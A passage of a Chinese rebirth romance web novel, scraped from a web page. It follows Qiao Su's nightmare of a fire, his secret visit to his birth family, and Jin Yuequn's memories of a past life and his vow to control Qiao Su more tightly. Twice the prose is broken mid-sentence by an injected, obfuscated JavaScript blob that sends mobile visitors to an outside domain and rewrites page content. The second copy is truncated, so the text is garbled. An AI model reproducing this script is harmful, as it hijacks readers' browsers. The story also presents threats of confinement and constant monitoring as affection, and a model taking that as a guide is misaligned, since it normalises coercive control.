梦里的靳越群比现在模样要成熟一些,几乎是对他千依百顺、毫无底线,好像一辈子从没对他说过一个不字,如果说乔苏是皇帝,那梦里的靳越群一准是他身边那个大太监,乔苏正乐呢,准备挥开衣袖可劲儿的指挥,脚下突然一变,燃起熊熊烈火。 满室火光,忽地,着火的房门被一脚踹开了! “靳越群!” 乔苏大喊,即便在浓烟中他看不清那人,他也确定那就是靳越群。 可靳越群却好像在回头过来的一瞬间,在原地定住了。 “靳越群…?你怎么了?这里着火了!我们快跑啊!” 他慌乱地催促着靳越群,推他、拉他,可男人就好像傻了,一步没动。 “靳越群!你到底怎么了!再不跑我们就没命了!” 乔苏快被呛死了,他看不清楚靳越群的脸,但男人却一把将他紧紧抱在怀里,乔苏感觉他的骨头都要让靳越群的双臂锢的断了、碎了,他想抬手,却发现他的手臂不知何时成了凋零的枯树枝,一抬手血啊肉的扑簌簌地往下掉。 乔苏感觉到他身体里有什么东西在消逝、在抽走,是无可挽回的。 “不怕,苏苏,不怕,都是我不好,我在这里,我在这里…” 靳越群死死地抱着他,再也没放开,他听到男人声音里不可抑制的颤抖与哽咽,他看见男人的衣角也着起了火,他想叫靳越群走,可他怎么都推不走男人,更推不开男人的怀抱。 下一刻,整个房间犹如烧融的蜡一般在火龙中坍塌,一切土崩瓦解,乔苏猛地从梦里惊醒! “啊!” 他吓得惊叫出声,靳越群也醒了些,他有力的手臂收紧,将他往怀里揽:“不怕,苏苏,我在这儿…” 他这话一出,乔苏惊慌的眼睛瞪得更大,他啪的一下伸手打在靳越群的脸颊。 “你干嘛讲这句话!” 这一巴掌到脸上,靳越群就醒了,他正困倦着,眯着眼看乔苏。 乔苏让他看的心慌,蜷起手指,眼泪一下就掉下来了:“我刚才做了一个噩梦,梦里全是火,烧的好大,吓死我了,你就对我说的这句话…” 他一哭,靳越群哪里还会去追究那一巴掌的事?坐起身搂着乔苏,去柜子上摸手帕给他擦,不理解地问:“都说做噩梦了,还怕什么…?” “可是那个梦好真…!” “再真也是个梦,不去想就行了。” 靳越群跟他爸一样,从不信这些神神鬼鬼的东西,他下床要去拿暖壶给他倒水,乔苏不肯他去:“不要走…!” “大半夜的,我能去哪儿?去街上疯跑?” 靳越群没法说他,只好一手抱着他让他缠在自己身上,一手拿着桌子底下的暖水壶,给他倒了杯热水,压压神。 乔苏与他的肌肤相贴,又喝了水,缓过来点,靳越群关了灯,抱着他继续睡觉。 “靳越群,你知道我刚才都梦到什么吗?” 靳越群困得厉害:“谁又杀了谁?还是谁又给谁下毒了?你少给我看点那些乱七八遭的小说吧,把脑子看坏了看我怎么收拾你。” “……” 乔苏觉得靳越群根本不理解他的爱好。 “靳越群,你知道吗,在梦里我是皇帝,你是我身边的头号太监,我一发号施令,你马上就得去做、哄我高兴,连个不字都不敢跟我说。” 靳越群冷笑一声:“那确实是个噩梦。” 他又拍拍乔苏:“别想了,什么鬼神都是老一辈吓唬小孩,瞎编出来的。” 乔苏的思维也确实很发散,关键是他打小就信任靳越群,靳越群跟他说是瞎编的,他也就不去想了,这个没头没脑的鬼梦很快被他丢到脑后。 “靳越群,你说我要是一直不答应跟你处对象,你会生气吗?” “你还想一直不答应我?” “那怎么啦!” 他还急,靳越群拿他没辙:“那我就等着,等你答应我。” “你光等?” “嗯…?” 乔苏很生气地说:“你光等我就能跟你处对象了?你现在拿着盆去外头等着接钱老天爷就会掉钱给你吗?” “……” 靳越群忍了忍,想着乔苏毕竟才做了噩梦。 “赶紧睡…!” 乔苏被他摁在怀里,又冒出头,眨巴眨巴眼睛,小声哼哼:“…可我觉得你刚才对我的态度有点凶…我只是在你脸上轻轻拍了一下,你就生气了…你脾气这么大,那以后我们真在一起了,我会不会要天天做小伏低?” 靳越群脸上还挂着红痕没消,抽两下嘴角:“你是不是屁股又痒了?要是今晚得挨几下才能睡,现在就行,不用惦记。” 乔苏咽了一下口水:“…我就说你有点凶吧,你这样我真的很难跟你处对象…” 靳越群作势要起身,乔苏飞快的盖住头:“我已经要睡了!” 过了一会儿。 “靳越群,那你以后会让我做小吗?” “……” “我可是凤凰命啊…!” “……” 似乎是忍无可忍,靳越群睁开眼,一把拉开抽屉,把里头的好几本小说扔出来,头一本就是《葬身火海,我做姨太太的那些血泪往事》。 “乔苏!你信不信明天我就把这些东西全给你扔了?!” “别扔,别扔呀…求求你了…” 乔苏赶紧抱着他的宝贝,觉得靳越群这个人的脾气这么坏,又怎么可能对他“千依百顺”呢? 果然是个梦。 “脏不脏,什么都往怀里搂…” 靳越群嫌弃地把故事书从他怀里抽出去,扔去地上,他每天要做的事很多,学习、厂里的事,他爸交代他的事,不会有人天生就把所有事情平衡好,这其中付出的艰辛只有经历过的人才知道。 “乖了,睡了…” 靳越群哄他,手掌抚着乔苏单薄的脊背。 乔苏贴着他的心跳和体温,就觉得方才那样慌乱的心也慢慢平复下来,虽然靳越群总对他凶巴巴的,但不得不承认,他的怀抱对于乔苏来说实在太有安全感了,以至于那些没来由的怪梦被驱散,变得再也无法侵扰,乔苏慢慢地也就睡着了。 - 这一补课,张老师倒意外发现之前他从没注意过的这个叫乔苏的学生数学思维竟然的很不错,开始那几天他上课不是在玩笔帽就是切橡皮,黑板上抄的题也不认真写,成绩差的很。 但是如果布置的作业是让他回去写,第二天乔苏拿来的就挺不错,张老师问乔苏是不是别人替他写的。 乔苏说是他自己写的。 有靳越群那尊杀神在旁边盯着,乔苏觉得就是一个猪脑子也能把题解出来。 后来张老师就发现乔苏这个学生不是脑袋不聪明,相反,他就是太聪明了,所以他上课总是一听懂就爱跑神,基础打的不牢,但要是看着他好好做,他一张卷子竟然也能答对个七七八八。 理科太多公式,他记不住,也都可以在草稿纸上现推出来再用,作为老师,张老师懂得这是很难的,这些年他教过的许多好学生也做不到。 尤其是地理,对于令许多同学百思不得其解,甚至根本想象不出的太阳运动、物影方位、经纬度…乔苏几乎不用怎么思考就能答出来。 于是张老师得出一个结论,乔苏去年没考上学,绝对不是因为笨,而是纯粹因为他不上心。 从张老师家出来,乔苏还没下楼,就在对门的门口看见一个熟悉的人影。 “乔杏花?” 被他叫到的女孩正在收钱,把一毛一块的收好放进兜里:“王婶儿,三斤灌肠,正好十块,送你一罐腌水萝卜,是我自己腌的,您尝尝,您有经验,回头给我提提意见,那我给您放这儿了,好吃再来啊!” 对门大妈推着不要,笑着接了。 女孩拿起地上装着肉肠的筐子就要走,乔苏拉她胳膊。 “乔杏花,你没听见你哥我喊你啊!” 他拉着乔杏花,乔杏花才回过头。 “干啥!” 乔杏花今年十七,是乔苏同父异母的妹妹,她和乔楠是龙凤胎,都是乔苏的继母杨白梅生的,杨白梅拿着当年的铺面开了一个肉铺,平时也帮人灌肉肠,收加工费。 “乔楠呢?他一男孩怎么让你出来送肉肠。” “妈怎么舍得让他干,妈让他在家里读书,他马上就要高考了,是妈的大宝贝,跟金疙瘩似得护着,他能干这种粗活吗。” “他今年高考?他不是才高二吗?” “是啊,他学习好,老师让他跳级试试,万一能给县里考出个状元,学校也跟着沾光,我不跟你说了,反正你也不是乔家人了。” 乔杏花对他也没个好脸色,提着筐子就要走,乔苏又拦着她了。 “你这头上戴的什么?” “这是我自己攒钱买的头花,你别碰!” “像个大扑棱蛾子一样,哪里好看了?给,这是上次去阳原路过一个金铺,给你买的。” 乔苏从书包里翻出一个叠的好好的红色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478698|169755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小绒布包,里头是一对蝴蝶样式的金耳钉,款式挺灵巧的。 “我不要。” 乔苏看着乔杏花都挪不开眼,塞她手里:“你叛逆期啊,咋比小时候别扭那么多?” 乔苏不到一岁的时候他妈就因病去世了,所以小时候他一直以为杨白梅就是他亲妈,乔国栋和杨白梅夫妻俩都偏心儿子,得了龙凤胎,注意力自然都在乔楠身上,所以小时候还没桌子高的乔苏就经常带着还没板凳高的乔杏花。 “我不要,这是不是又是花靳家的钱买的?你们都稀罕他家的钱!我不稀罕他家的钱…!” 布袋被执拗的女孩推的掉在地上,乔杏花撇着头,乔苏真想揍她两下。 “赶紧拿着啊,别傻的去跟妈说,自己藏好了,以后遇见好看的哥再给你买。” 乔苏不管三七二十一的塞在乔杏花兜里,就走了。 也是巧了,没两天,乔苏竟然在卖旧书的书摊碰见了乔楠。 “哥,你也来买书?” 书摊隔壁就是废品站,味儿不好闻,乔苏来除了淘他那些狗血故事没别的事了,低头一看,乔楠手里拿着一本练习题。 “我听杏花说你马上也要高考了?” 乔楠生的也是乖乖仔的长相,随了杨白梅的单眼皮,笑起来挺腼腆的。 “我们那个中学好多年没学生考上大学了,老师建议我去试试,如果能考去汉城就最好了,我想着来买点二手练习册,也能减轻一点家里的负担。” 乔楠在老家平曲上学,靳晓北是跟乔苏一块儿来的,一听,还觉得他这个弟弟挺懂事的。 “家里有什么负担?你的学费生活费不都是靳家在出钱吗?” 在这方面,可以说乔苏是‘燃烧一个,照亮全家’的存在,平曲那边到现在都不知道有多少人家在背地里嫉妒乔家嫉妒的眼睛都要滴红血,只恨自己老婆当时生孩子生的时辰不对。 不然也能一朝求得这个“翻身签”了。 靳晓北一想,是啊,乔家能有什么负担。 “哥…,爸前阵子不是上安县的医院住院了吗,昨天刚出院,你下个星期回来看爸不?” “住院?爸什么时候做住院了?” 上次没听乔杏花说啊。 “就上周,说肺上有个脓肿,在县医院住了几天就回去了,爸估计怕你知道担心,就没说…哥,那你来家里吃饭吗?爸和妈都想你了…” 乔国栋虽然当年把他送出去了,但怎么说也是他爸,小时候乔国栋也抱过他,还带着他去学校里给学生教书。 “到时候看看吧。” “乔苏,该走了!” 靳晓北在外头打着车铃铛在叫他了,他可不敢晚送乔苏回家。 等晚上十点多靳越群回来,扔下几本厚厚的国外技术维修和操作书上楼,就看见乔苏已经睡了。 乔苏哪里睡的这么早过? 这几天都在补课,不能去外面玩了,他满身精力没处使,天天晚上不是熬夜看小说,就是在鼓捣家里的收音机自行车,拆的东一块儿西一块儿的。 难道是上课挨批评了? 靳越群去拎乔苏的书包,没想到乔苏随手扔在椅子上是倒扣的,也没合上,他一拎,满书包的糖酥饼干渣子哗啦啦的洒了一地。 飘出几张卷子,让糖酥里的油洇的都没法看了,左边一块右一块,全是黄糊糊的油印子。 “……” 靳越群深呼吸了一口气。 等他把地扫了,乔苏也醒了。 “你怎么回来的这么晚…” “厂里有点事。” 靳越群刚冲完澡,坐在床边擦头发,看他的小脸,觉得有点没精神,拨弄过来,脸颊让凉席压了一小片红。 “你今天都见谁了?” 乔苏拍开他下巴的手,往他身上靠:“没谁啊,就在张老师那儿上课…” “没别人?” 乔苏有点睡迷糊了,想起来:“哦,我还碰见乔楠了。” 靳越群原本手臂环着他,一听,拧起眉:“在哪儿碰见的?” “就在废品站旁边的那个旧书摊,那儿的书多,还便宜,好多人去买呢,靳晓北跟我一块儿去的…” “他都跟你说什么了?” 乔苏困,头顶的软发蹭着靳越群军绿色的裤腰,哼:“我哪里记得他说什么,就随便讲了两句呗,我跟他又没什么话说…” “好好想。” 靳越群却没打算放过他,他放下毛巾,拇指抵着他的下巴:“不然明天你哪儿都别去了,就在家里想这个。” 7.第七章:回家 “靳越群…!你又犯病啦!” 可对上靳越群的眼睛,乔苏心里一悸,觉得靳越群不像是开玩笑。 “干嘛啊…他就说他学习好,准备跳级高考了,好像也打算去汉城,然后他就说我爸前阵子去医院了,不过现在已经出院回家了…” “没了?” “没了…” 靳越群看着他,乔苏硬着头皮说:“真没了,我俩前后说话还不到两分钟…再说,我本来跟他也不熟…” 小时候乔柯作为乔家的‘香火’,就是杨白梅眼里的花骨朵,他和乔杏花就是墙边的小野草,现在小野草长大了,自然也跟花骨朵不太亲近。 “洗脸刷牙没有?” “没,我本来就想着躺一会儿…” 靳越群伸手,乔苏就顺势缠在他身上了,靳越群抱着他下楼,把牙刷塞他嘴里。 他给他刷牙,乔苏小小地松了一口气,又听见靳越群说:“乔苏,我跟你说过规矩,我问过你的事,你要是敢骗我一句,你就等着三天都在这间屋子里吧。” 乔苏一激灵,差点把嘴里的牙膏沫咽下去。 “啧,什么毛病,吐出来…!” 靳越群训他,赶紧捏着他的下颌让他低头,乔苏才勉强没咽,在嘴里咕噜两下吐了。 想到那年差点憋疯的经历,乔苏有点纠结要不要坦白。 “靳越群,其实我刚才还没说完…” 靳越群往盆里兑了点热水,拧了个热毛巾,给他擦脸:“那接着说。” “你能不能轻点啊…我的脸又不是脚后跟…!” 乔苏的嗓音让揉的喁喁哝哝地:“就是乔柯还问我下个星期要不要回去吃饭…” “你回他了?” 陷阱,绝对是陷阱!他才不跳坑呢! “我就说看看吧,你不是不喜欢我回那边嘛…” 靳越群好像从小就不太喜欢乔家人,小时候他一说回乔家,说回几个小时就是几个小时,过一分钟靳越群就搬着板凳在家里等着他了。 那时候靳越群也才七八岁大吧? 不过乔苏也想不明白靳越群为什么不喜欢他们,乔家住在平曲,离他们这儿得有八九十公里,那么个穷的底掉的小地方靳越群估计去都没去过。 “你都没见过他们,你咋知道他们对我不好?” “傻瓜,对你好他们能把你送来?” 乔苏认真想了想:“可我现在确实过得挺好的啊。” “啧…” 靳越群把俩人的毛巾挂起来,看他的眼神里透着一股子说不清的意味,有点类似烂泥扶不上墙,他轻轻推了下他的脑袋。 “擀面杖里吹蜡烛,” 乔苏问:“吹啥?啥意思?” “狗屁不通。” “啊?靳越群…!你敢说我狗屁不通!” 乔苏反应过来,他怒了,跳上靳越群的背,两只腿像两条缠绕的小蛇似的缠住他的腰腹,张着小牙去咬他的耳朵。 靳越群也没躲,等他咬完了,他才弯腰捡起他落在地上的拖鞋,继续上楼, “好像咬重了…” 靳越群的耳侧让他咬出了两个深紫色的小牙印。 乔苏有点心疼,又伸出小舌给他舔了一下。 “那杏花总不错吧,她可是我妹,我小时候还喂过她吃饭的…” 靳越群闻言,从脖颈处握着乔苏的手,瞧他的指尖:“喂热的?” “那不然吃凉的?我们俩那时候才多大啊…” 他软软地将下巴搁在他肩膀上,有点惆怅:“不知道杏花咋了,现在看见我像看见阶级敌人…” “小孩子吃点凉的也没事。” 乔苏无语:“那我下周去了啊。” “不准。” 他愤愤地打了靳越群后背一下:“怎么说他也是我爸啊,我爸住院我都不知道,我不管我要去。” “不准去。” 乔苏又打了他一下:“你是石头缝里蹦出来的?怎么这么冷血无情!” 方才乔苏咬他的耳朵咬的差点出血,靳越群脸色一点没变,这会儿他英挺的眉间却有了几分不耐。 “我说不准去就不去,你给我老实待在家里,哪儿有那么多为什么。” - 周末下了一场雨。 张老师家里有事不补课,屋里的空调靳越群找人修好了,乔苏趴在凉席上吹凉风、吃冰棍,靳越群不让他在床上吃,滴到床上还得洗,乔苏就把他的故事书摊开翻到板凳上,胳膊肘支着,脑袋伸去外面去吃。 本来今天靳越群不打算去厂里了,在家辅导辅导乔苏学习,楼下电话又响了,是他爸打的。 等靳越群接完电话上来,就从衣柜里拿着衣服套。 “我等会儿有事得出去,你今天不去找靳晓北他们玩?” 乔苏摆摆手:“不去了不去了,外头下雨了,我又不傻,出去淋雨干嘛…怎么了,是不是靳伯伯找你有急事?” “说徐水厂子的一个高炉前墙垮了,工人拿不定主意,让我过去看看。 徐水?乔苏突然想起那天靳晓北的话。 “徐水的厂子不是你那个哥在管么?” 靳越群问:“谁跟你说的?” “靳晓北呗,除了他还能是谁,他说他过年从他爸和亲戚的酒桌上听的…” 靳父叫靳昌林,当年退伍至国营机械厂,后来辞去公职办了民营的厂子,做农机上的零部件,在安县、徐水开的都有厂子,职工不少,这两年销路不错,更是在市里成立了昌盛实业。 靳越群那个继兄靳越贤,读书读的早,去年在靳父的安排下去了徐水的厂子。 “靳越群,你说靳伯伯以后真的会把厂子和公司都给那个靳越贤吗?” “操心这个干什么,那是他赚的钱,他愿意给谁就给谁。” 乔苏觉得靳越群的脑袋是不是坏掉了? 没有一本小说里会这样写的。 靳越群看他拧着眉头,伸手掰他的下巴:“别的你不要想,你只要在我身边,听我的话就行了。” 靳越群强调了‘我’,可乔苏没听出来。 “上次给你买的手表怎么不戴?” “太宝贝了…” 乔苏回过神,不好意思地抓抓头发:“我本来还不觉得,上次戴去学校,彭文说那表可贵了,得好几百,我回来就把它和我的那些石头一块藏到咱屋床底下了,可后来找了没有,忘记藏哪儿了…” “你阿…” 靳越群敲了下他的脑门。 乔苏被他一敲,在床上滚了一圈:“哎呀哎呀,我还藏了两块儿特别漂亮的鹅卵石呢,现在也找不到了…” “就你那点破烂还藏,谁要…” “哪里是破烂了,都是我的宝贝…!万一呢!万一家里进贼呢,我这叫防患于未然,再说那两块儿的颜色真是我最喜欢的…我在大太阳底下挑了一上午,都赖你,本来我都忘了,现在我又想起来了…” 乔苏打小就爱收集些颜色鲜亮的石头,各式各样的,这些年院里不少都是他的战利品。 “你那两块什么颜色的?” “一块儿发红,一块儿发绿,红的那块儿可好看了,像晚霞一样…” 靳越群也没吭声,把钱夹带上。 “我走了,你在家乖乖的。” 关上门之前,他又嘱咐他:“你记得我说的,不许去乔家。” “知道啦知道啦,你放心,去外面踩一脚的黄泥汤儿,我不爱去…” 靳越群想了想,说:“我会每两个小时给家里打座机,你听着,要接。” 乔苏惊呆了。 “靳越群…!我是二河桥头的那个傻子吗?!” 二河原先是个镇,有个傻子天天站在桥头扑来来往往的年轻男女,后来他爸妈就把他关在屋里不敢放出去了,怕被人当流氓罪再给枪毙了。 靳越群不理他的控诉:“要接,听到没有?” “哼…!你赶紧去吧!” 靳越群那边也确实急,看他两眼,走了。 乔苏从窗户缝看到靳越群开车走了,他看了眼时间,咋办呢。 先从他的存钱罐里掏出十块钱。 他的存钱罐还是前年背着靳越群偷偷买的,当时在镇上赶集时看见,一只陶瓷做的小猪,描画着红肚兜挺喜庆的,关键是它不像别的存钱罐“背上”都有个开口放钱,这只小猪不知道是不是疵品,没口子,就底下一个洞。 乔苏买回来之后就把它放在俩人的书桌上,秉承着最危险的地方就是最安全的地方,果然,靳越群一直以为是个工艺品。 从猪肚子里一块几毛的掏出一把,加在一起有十块,看看基本上就空空如也的存钱罐。 乔苏又心疼地放进去两块。 做车去平曲,汽车票要五毛钱,来回就是一块,剩下七块,他再给他爸买只烧鸡。 下楼,外头的蒙蒙细雨已经停了,时间还早,乔苏又看了一会儿电视。 下午两点多的时候,靳越群也到徐水,用厂里财务室的座机打给他了第一个电话。 乔苏接起:“在家呢,正看电视呢,那边事情严重吗?” 靳越群那边也忙,到了发现是厂子负责守出钢口的工人擅自溜班,口子让渗出的钢水给堵上了,三四百度的高温得用气割,正在找师傅,估计晚上回去的晚,他让五子给他送饭。 电话里乌乌嚷嚷的,靳越群跟乔苏说乖,就挂了。 乔苏看着桌上的电话,又看看 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屋里,他爸坐在桌前,乔苏一进去就被烟熏火燎的味儿熏个够呛 “咳咳!爸!你不是肺上有毛病了吗,你还抽这么多烟?!” 乔苏呼啦啦在眼前扇着,靳越群也抽烟,不过靳越群抽的很少,他身上有时候带点烟味儿也都是厂里那些男的抽个没完熏的。 “你回、回来干什么…” 乔国栋一边抽烟,一边埋头批改厚厚一摞学生作业。 “你不是住院了么,医生怎么说?” “没事、咳咳,老毛病…咳咳…!” 乔国栋狠狠咳着,又抽了一口焊烟:“你在那边咋样,他们对你还好吧?” 每回来就是问题,有时候乔苏觉得他们父子俩之间好像也只剩下这个问题了。 “挺好的,都好,你也别成天抽烟了,也不通风,这些脏东西全吸到肺里,能不出毛病吗?” “这是我干了一辈子的工作,我得对学生负责,对学生的父母负责…!咳咳…!” 乔国栋就是专注地批改学生作业,手里的烟也没放下过,乔苏坐了一会儿,想问他当年有没有想过对自己负责? 最后又觉得这问题也没啥意义,加上实在被烟熏的不行,他就出去了。 杨白梅把饭菜端上桌,又叫了乔国栋好几次,乔国栋才出来。 “吃个饭也要三催四请的,在你眼里你的那些学生比你的亲儿子还重要!我让你去给校长送点礼,让小柯去考试,你说抹不开脸,最后还是我拎着东西去校长家门口堵了三天…” 饭桌上,杨白梅一边盛饭,一边数落:“现在病了还不是我伺候你?靠你真是什么也指望不上,都说嫁汉嫁汉,穿衣吃饭,我是一个好儿没落上!” 乔国栋端碗吃饭,杨白梅怎样说他,他也好似一个弯了脊背的老黄牛,默不作声。 “妈,哥好不容易回来一趟,就别说这些事了。” 乔柯一开口,杨白梅才像刚反应过来,赶紧给乔苏夹菜:“对对对,乔苏你尝尝这是妈自己蒸的萝卜丝,你小时候最爱吃了…!” 知道他爸没事,乔苏就打算回去了,临走前想跟乔杏花说句话,乔杏花也一头扎屋里不出来。 “哥,她就是心里有气儿,还记得当年你丢下她去靳家的事,回头我说说他。” 乔柯这句话让乔苏听的很不舒服。 “我没有丢下她,我那时才六岁,我连尿都管不住我能决定什么?是爸和妈当年丢下我。” 乔柯也没有想到乔苏把话说的这么直接,乔国栋和杨白梅都在院子里,一时没人说话。 乔柯只能尴尬的笑了一下:“你别生气哥,是我说错话了。” “知道说错就别说,嘴长在你身上,又不是别人身上…!走了。” 乔苏出了院门,杨白梅赶紧追出来,死活非要往他怀里塞一包花生。 “你留着吃吧,我不要。” 小时候他也喊过杨白梅妈,但这几年或许是隔的远了,又有点叫不出了。 “拿着拿着,路上吃,你可千万别跟你弟置气,你弟就是读书的脑子,嘴笨不会说,你将来也要跟着靳家去汉城吧?你弟也一门心思要往汉城考,汉城好啊,是省会…!哥俩拌几句嘴不打紧,亲兄弟打断骨头还连着筋呐!再说这世上可只有你跟乔柯是亲兄弟,往后你还要多帮衬你弟嘞!” 乔柯想往那儿考乔苏管不着,但他不喜欢杨白梅说的这句话,他和乔柯之前没有什么“只有”,如果这世上有“只有”的话,也是他和靳越群的。 8.第八章:熄火 买了汽车票回家已经快晚上七点钟了,想到靳越群肯定给自己打了好几个电话找不到人…乔苏拍着胸脯舒了一口气,还好自己机智,提前准备好了现场,靳越群晚上回来怎么也得十点多了,自己肯定已经到家了。 到时候往被窝里一钻,就说自己睡着了,没听到电话响,乔苏觉得自己的计划简直天衣无缝。 上了车,不知道哪家带了几只活鸡,鸡屎味儿熏得乔苏有点想呕。 镇和镇之间的路没修,黄土路坑坑洼洼的,汽车摇摇晃晃地在回安县的路上。 车速比来的时候还慢,乔苏就坐在车上剥花生吃,杨白梅给他,他就拿着吃,这些年他带给乔家的也远远不止这些,忽然地,大巴车一颠,他的腿上打开的花生袋子往前一冲,撒了半袋。 “我的花生!” 前头的司机拧着钥匙:“娘的,又熄火了!” 安县的汽车站还是国营的,都吃大锅饭,车辆坏在半途是常有的事,前头坐着的售票员烫着时兴的波浪纹,一边挫指甲一边喊:“车打不着火了!都下来推车了!” 师傅又尝试打了两回,大巴车还是干喘气不上劲儿,卖票的喊着大家下去推,也没人愿意动。 大家都花钱买了票的,那售票员刚才又拽的二五八万似的,不就是吃国家饭的吗,凭啥指挥他们下去推? “来了来了来了!” 乔苏扔下花生,撸起袖子第一个就从位置上起来了,他得赶紧回家啊,不然靳越群回家了他还没到那不完了吗。 乔苏一看,没人动:“大哥,你不下去推啊,今天晚上要是回不去你这些鸡也受不了啊!” 大哥一想,是啊,他这些鸡捆一晚上第二天也得蔫,这还是他专门从养殖场收的,要带回去产蛋的母鸡呢! “走吧走吧,大家伙一块儿下去推吧,这黑灯瞎火的,在这儿待一晚上也不是事!” 大哥一张罗,车上的人一看外头黑乎乎的,前不着村后不着店,也就下去推了。 力气大的男人扎成一圈,卯着劲在车屁股后头推,喊着一二一的口号,乔苏这个“白斩鸡”还没摸着车呢,就让挤出去了。 推了有四十来分钟,各个脑门上都累出一头汗,车还是趴在半路,司机说八成是油泵管出毛病了,这么大的东西也不能推回去。 一时半会儿是修不好了,只能等天亮,有人吵吵着售票员退票,售票员哪里肯退?撕出去的车票就退不了,不然回去账对不上。 一堆人大晚上的又吵起来,其实离安县也就还有十几里地,乔苏上车拿上他的半袋花生,就准备走回去。 得益于他成天上山下塘,这八i九公里对别人来说或许走不了,但对乔苏来说也就是一般水平。 在小路上走了得有两个小时,乔苏又捡了七八个彩色的玻璃弹珠,这东西在学校的男生之间风靡,唯一后悔的就是他刚才花生吃多了,嗓子太渴了,像要冒烟。 终于走到巷子口,乔苏喘着气,看见他家灯亮着,完了,他一颗心都稀里哗啦地碎成八瓣,靳越群已经回来了! 这时候,后头有人朝他猛打自行车的铃铛。 “乔苏?!” 是靳晓北,靳晓北刚才把周边都找遍了,急得骑车骑出了一脸的汗:“你去哪儿了啊!都夜里十点多了!我哥回来找不到你,我和彭文他们都在找呢!” 乔苏咧咧嘴角:“啊、哈哈…这个…” 靳晓北拍他后背:“哈哈什么啊,你是不是回乔家了?我哥气的去平曲找你了!” 他一拍,乔苏兜里的弹珠掉出来两个。 轱辘到靳晓北脚边,他不可置信:“你还有空捡弹珠??” “啊、这不是…这就、就顺手…顺手的事…” 乔苏跟着靳晓北同手同脚地进了家门。 “算了,咱俩还是在这儿等吧,别再和我哥走叉了…我哥在平曲找不见你就会回来了…” 现在联系也不方便,在小县城,大哥大、BB机都是稀罕货,也太显眼了,唯一就是固定电话,一台光是初装费就高达四千多块,谁家要按得起电话出门都得先横着走三步。 “咋办啊,你哥回来肯定要把我骂死了…” 乔苏捧着水喝,有点想抹眼泪。 靳晓北也有点同情乔苏,他哥发火确实挺可怕的,就说原先厂子里那些老油条,别看他哥这么年轻,但整治人恩威并施,那些刺头都不敢在他手底下搞猫腻。 乔苏细皮嫩肉的… “你也别太担心了,要不我在这儿等我哥来了再走?” 没听到乔苏回话,靳晓北还有点担心,他哥平常就那么凶,一转头,就看见乔苏已经四仰八叉地躺在沙发上睡着了。 呼呼地,仔细听还能听见细小的鼾声… “……” 靳越群那儿,他把擅自脱岗工人的班长叫来,班长吞吞吐吐地,说是老板娘的亲戚,现在也没见到人,靳越群挥挥手,懒得再听。 他心里担心乔苏,从下午起家里的电话就打不通,晚上好不容易把出钢口的漏给补上,他又给乔苏打电话,还是不通,他就知道乔苏多半是去乔家了。 心头当下像有一把柴火噼里啪啦的在烧,事实上,上一世的很多事情他都记不清楚了,这一世,说是从头再来也不为过。 他只依稀记得,上辈子,他留在了汉城,毕业接手了他爸公司,昌盛在他手里一路壮大至巅峰,但与此而来的代价是,他始终摆脱不了那帮扎根深处的元老会的阴云。 同样的,他也太过惯着乔苏,他不该一时心软同意他去那个所谓的留学,放任他离开自己的视线,他更不该怕他被束缚,对他百般纵容、千般溺爱,以至于乔苏身边何时出现了想要治他于死地的蛀虫他都不知道。 加之那时他爸靳昌林利用集团内的旧部势力逼迫他和乔苏分开,他分身乏术,正谋于兵戈相见的大清洗,一时忽视了刚刚回国的乔苏,最后竟酿成那场无可挽回的大火… 他踹开着火房门的那一刻,万箭穿心肝肠寸断都不足以形容…! 他痛,如让人一刀刀剜心穿肺,是睁眼闭眼想到他那样捧了一辈子在手心里,一点风浪都舍不得沾在身上的乔苏在他面前承受那样的苦痛… 他恨,恨他一时失察,竟让那些蝼蚁之辈将他困住。 他不想乔苏一个人到了下头害怕,所以他陪着他一同死于那场大火,没想到再度醒来,一切竟真的重来了…! 而这一辈子,他发誓绝不会重蹈覆辙。 首马当先的,他绝不会再像上辈子那样无底线的纵容着乔苏,乔苏身上那些太过的随性,自由,他会慢慢的教… 他身边的蛀虫,他会帮他一个个理。 乔苏就给他老老实实的在他眼皮子底下待着,至于其余的,哪儿都不要去…! 靳昌林电话里问他事情处理的怎么样,靳越群都没听清,依稀的直觉告诉他乔家没几个好人,但他真的不清楚为什么,又或者说,是他想不起来了。 也许这就是重生带来的代价——许多上辈子的记忆在他脑子里都已经逐渐模糊消散了。 这大概就是世间玄妙的、万物平衡的定理吧,没人能如神佛预知世事,因果轮回,念珠拨动,万丈红尘中无人能跳脱在外。 “越群?厂里信号不好?” “爸。”靳越群说:“听见了。” “这次的事处理好了吧,那个老王是你冯姨放去的,前年去给人做木工把腿砸瘸了,你冯姨就让他去干个清闲的活儿养家糊口。” 冯敏卉是靳昌林后娶的老婆,其实靳昌林娶她的时候大家都挺意外地,毕竟这年头大老板都流行越娶越小,冯敏卉不仅带着个儿子,还比靳母大了四岁。 靳越群哪能不知道他爸什么意思,无非是不追究了,他敷衍地嗯了一声。 “对了,上次去厂里参观的客户很满意,你过两天回来,和他们一块吃个饭,男人一直待在那么个小地方能有什么出息,等你考上汉京大学,就来公司里帮爸做事。” “知道了。” 靳昌林又说:“晚上你过来汉城,你冯阿姨说好久没见你了,快考试了,问你缺什么不缺。” “太晚了,下次吧,我这儿什么都有。” 靳昌林说行吧。 挂了电话,靳昌林心里也有些不是滋味,当年他真的不该把那么小的靳越群留在安县,当时他忙,又恨他的妻子抛下他们父子一走了之,他认为他的儿子就是要能吃苦,于是把他丢去厂里磨砺,他也没想到靳越群会做的那么好,如今安县的机械厂的返工和退货率都是最低的,一个小厂一年的利润占昌盛将近三成,唯一就是他们父子之间的距离也越来越远,他和靳越群说话,不像亲父子,倒像是上下级。 挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 